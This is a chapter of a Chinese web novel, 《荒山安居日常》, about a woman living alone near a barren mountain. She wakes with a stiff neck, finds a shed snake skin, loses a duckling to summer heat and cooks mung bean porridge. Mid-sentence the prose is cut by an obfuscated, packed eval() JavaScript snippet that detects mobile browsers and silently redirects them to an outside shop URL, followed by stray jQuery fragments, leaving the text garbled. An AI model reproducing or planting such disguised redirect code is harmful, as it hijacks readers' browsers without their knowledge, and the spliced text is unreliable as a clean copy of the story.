53.绿豆粥
作品:《荒山安居日常》 黄迎春很生气。
一大早,她收到了三个噩耗。
第一,她落枕了。
黄迎春不知道“落枕”这个称呼是否贴合她现在的情况,因为无论是从前睡在火炕的她,还是如今睡在竹床上的她,晚上睡觉时都没有一个真正的枕头可枕。
黄迎春的枕头,只是一套一时半会穿不着的衣裳包着另一套一时半会穿不着的衣裳。
这样的枕头有个明显的好处,就是无论高低都可以自己随时调整,同时,它也有一个明显的坏处——夏天用不了。
黄迎春习惯睡枕头,如果没有枕头枕在脑后,别说睡得踏不踏实了,她根本睡不着觉。
夜里睡不着,白天就没有力气干活,为了生存,黄迎春扛着满头的汗,天天晚上把一套冬衣做成的枕头往后脑勺下塞。
然后,今天早上,躺在竹床上的黄迎春刚一睁开双眼,她忽然就感觉自己的脖子不能动了。
黄迎春转了转自己的脖颈,结果她的脖颈就跟放在冰箱的冷冻层里冰冻了一夜似的,不仅一动不动,而且,还让尝试做出努力的黄迎春遭到了现世报——疑似抽筋的黄迎春立刻感到从脖颈处传来的一阵针扎似的疼痛。
一个没有枕头的人还能落枕吗?
黄迎春保持着一觉醒来的睡姿缓了缓,又躺在竹床上想了想,得出一个意料之外情理之中的答案——正是因为没有枕头,所以她才会落枕啊!
落枕的滋味并不好受。
黄迎春在竹床上躺了许久,脖颈处的肌肉依然酸胀不已,不仅如此,她的肩膀和背部都有明显的不适,从床上起身时还有些头晕和微微的恶心,而且,黄迎春明显感觉自己的脑袋往左边倾斜,想掰还掰不正,只能一直保持着一个偏移的姿势,不能往右转,只能往左转,动作还一点儿都不灵活。
因为落枕被迫斜视的黄迎春看不见摆在竹床下的鞋子,她伸出双脚疯狂试探,终于找到了她的鞋子。
黄迎春艰难地用脚趾头把鞋子勾出来,由于动作幅度不小,使得她挂在竹床上的葛布蚊帐都一颤一颤的。
在一阵窸窸窣窣的摩擦声中,黄迎春敏锐地听到了一丝不同寻常的声响。
那个声音很轻,听着像是从床头传来的。
黄迎春穿好鞋子下床一看,果然,在竹床床头的地面附近发现了一位不速之客。
这位不请自来的客人乍一看是条蛇,黄迎春忍着落枕的疼痛,拿起放在窗边的防身木棍返身定睛一看,又发现它不是蛇,而是一条十分像蛇的东西,而且看上去已经死了。
那东西大致有一米多长,整体呈现淡淡的灰棕色……也可能是其他颜色,窗外的天光还暗着,黄迎春又穷得买不起一盏油灯,屋里一点火光都没有,所以她一时之间无法明显辨认。
黄迎春蹑手蹑脚地走近,用手里那根又粗又长的树棍捅了捅那个像蛇非蛇的不明物体,确认它已经完全、彻底死亡,她这才悬着一颗心,用树棍把它挑到门外,蹲下身认真观察。
皱皱巴巴又缩在一团的扁状圆柱;鳞迹是明显的长方形和菱形,排列得整整齐齐,就跟宋二娘家屋顶上的青瓦一样;用棍子挑在手里的重量轻飘飘的;闻着还有点腥气……黄迎春借着暗淡的天光,从形状、颜色、质地、气味等各种角度全方位观察,只花了短短几秒时间,就判断出这位擅自死在她家中的死者的真实身份。
哦,是蛇蜕啊,怪不得长得和蛇一样,原来是蛇脱下来的皮,吓我一跳。
天刚破晓,晨曦未现,黄迎春淡定地接收了今天的第二个“惊喜”。
何尝不是惊喜呢?
一条蛇,趁着夜深人静,偷偷地从窗户潜入她的卧房,爬上她的竹床,盘旋在她的床头,在粗糙的竹节处缓慢摩擦,一点一点地把身上那条旧皮脱下来……黄迎春虽然没看到那幅场景,但是在她此刻的想象中,蛇蜕皮的过程应该就跟人脱袜子一样吧。
黄迎春歪着脖子,站在大开的窗户前,面无表情地做出设想——只是,脱袜子的那人可能得了鱼鳞病。
不就是一条不请自来的蛇在卧房里蜕皮了吗,其实,这也不是什么大过天去的事情。
就算它是在她的床头蜕皮的,隔着一层葛布蚊帐,人家既没咬死她,又没打扰她睡觉,还没把她吓死,再说,还给她留下了一条完整的蛇蜕做礼物。这是多有礼貌的一条蛇啊,她怎么可以责怪人家呢?
黄迎春对自己晓之以情,动之以理,她想了又想,觉得自己的确不能责怪那条消失的蛇。
虽然,她并不知道它蜕完皮之后躲在哪里,也许在地窖,也许在厨房,也许,它还在她的卧房里,等着给她一个更大的惊喜。
黄迎春把触感软滑的蛇蜕抓在手里,找了一张竹笋壳把它包好,然后放到一个专门放蛇胆和蛇皮的竹架上。
蛇蜕主药用,可以拿到医馆卖钱。
据说它有定惊的功效,黄迎春觉得此时她很应该拿这条让她受到惊吓的蛇蜕给自己定定惊,只可惜她不知道该怎么用。
黄迎春保持着一种“有病,勿扰”的状态,把卧房翻了一个底朝空。
大扫除的结果是,黄迎春没找到那条身体更光滑、颜色更鲜亮、看起来更有光泽度的蛇,反而被一个问题深深地困扰着。
今天晚上我睡觉还要不要开窗呢?
在冷得能冻死人的冬天到来之前的每一个夜晚,我睡前要不要开窗呢?
虽然知道荒山脚下除了自己没有别人,但是黄迎春从来没有开着门睡觉过。先不论隐私的保护,山里还有野兽呢,就是为了安全,黄迎春也不可能在夜里敞着大门,把自己家变成野兽们的自助餐厅。
门不开,窗户总是要开的,毕竟是夏天。安朝本来就没有空调和电风扇,再紧闭门窗,黄迎春怕自己在冬天来临之前就先把自己给热死了。
开窗,会死。
不开窗,也会死。
找不出答案的黄迎春走出卧房,反手把门一关,扯下挂在堂屋竹板上的围裙往腰上一系,然后把鸭舍抱到院子里。
麻鸭们有又大又新的豪华鸭舍可住,旧鸭舍就被黄迎春腾给了六只已经长大不少的雏鸭当过渡的家。
这六只被黄迎春用火炕孵出来的小鸭子虽然品种不详,但是它们活力十足,几乎每时每刻都在嘎嘎叫。
黄迎春至今不忍心回忆自己和它们同居的那些天,一想她就觉得自己可
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17095591|190244||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能患上了幻听的毛病。
然而,今天,小鸭子们的叫声显然与平常不同。
黄迎春打开鸭舍的门,伸手往里试探,忽然,神情一僵。
为什么没有鸭喙来啄我?
我都碰到你的身体了,快来啄我啊!
快来啄我,和平常一样把我的手指啄出血来也没关系,快来啄我呀!
黄迎春不想相信,不想面对。
然而,还有几只小鸭子活着,它们可能饿了,或是已经发现了同伴的尸体,此时正在不断地哀鸣,叫声听上去无比可怜,听得黄迎春的心仿佛都碎了。
最终,黄迎春从鸭舍里抓出六只小鸭子——五只神情萎靡,一只身体僵硬。
虽然那只双眼紧闭的小鸭子腹部还有余温,但是它显然已经死去多时了。
是谁?
是谁害死了我的小鸭子?
是蛇吗?
还是天气太热了?
……
黄迎春一边安抚幸存的五只小鸭子,一边照顾它们的吃喝拉撒,给它们在屋后就地围了一个篱笆,并在它们身边观察了许久,终于,黄迎春发现有一只小鸭子走起路来有些跛脚。
黄迎春把那只跛脚的小鸭子抓在手里反复察看,发现它的一只脚有些溃烂。
鸭子主要通过脚蹼散热,在高温高湿的环境中,一旦照顾不周,鸭子就格外容易产生脚部肿胀、溃烂等问题,造成跛脚。
不是蛇的原因,单纯是盛夏的气温太高了。
朝阳在空中冉冉升起,今日又是一个大好的晴天。
黄迎春心头的怒火无处发泄,她正憋屈着,结果在看清小鸭子腿脚状况和想清楚造成该种原因的那一刹那,仿佛从空中飘来一朵乌云,倏然钻进黄迎春的心里,把她浇了一个透心凉。
毁灭吧,这个世界。
人热的问题尚且无法解决,黄迎春更不知道该如何处理鸭子们的高温困境。
能做的,黄迎春都已经做了,她实在不知道还能做些什么。
黄迎春只能让五只小鸭子吃顿好的。
给自己拿粮食做朝食时,黄迎春抓了一把米撒在篱笆里,见小鸭子们都围过来低头吃米,她又去河边挑了一担清水放在厨房里,舀了一瓢河水倒进竹筒喂鸭。
小鸭子们吃了米,黄迎春就没有太多米可吃了。
她抓了一小把大米,又抓了一大把绿豆,舀水洗净,连同适量的清水一起倒进锅里,大火烧开。
菜地浇到一半时,黄迎春抽空进了趟厨房,拿起锅盖看了一眼滚沸的锅,转大火为小火慢煮,然后,她一边照看屋后的小鸭子们,一边时常进屋搅拌锅底防止豆米粘锅。
锅里的绿豆开花后,黄迎春又拿着铲子搅弄了两下,见粥水也已经变得十分粘稠,便把绿豆粥盛到碗里放凉。
柴火熬煮出来的绿豆粥口感与电饭煲煲出来的一点儿也不一样,柴火熬的显然更好吃一些。
今日煮的绿豆粥浓稠酥软,绿豆花和米花在口中一抿即化,但是黄迎春还是吃得不高兴。
她一边往嘴里倒粥一边想:如果有一台冰箱或一台冰柜,我想吃碗清凉解暑的绿豆粥也不用这么麻烦。

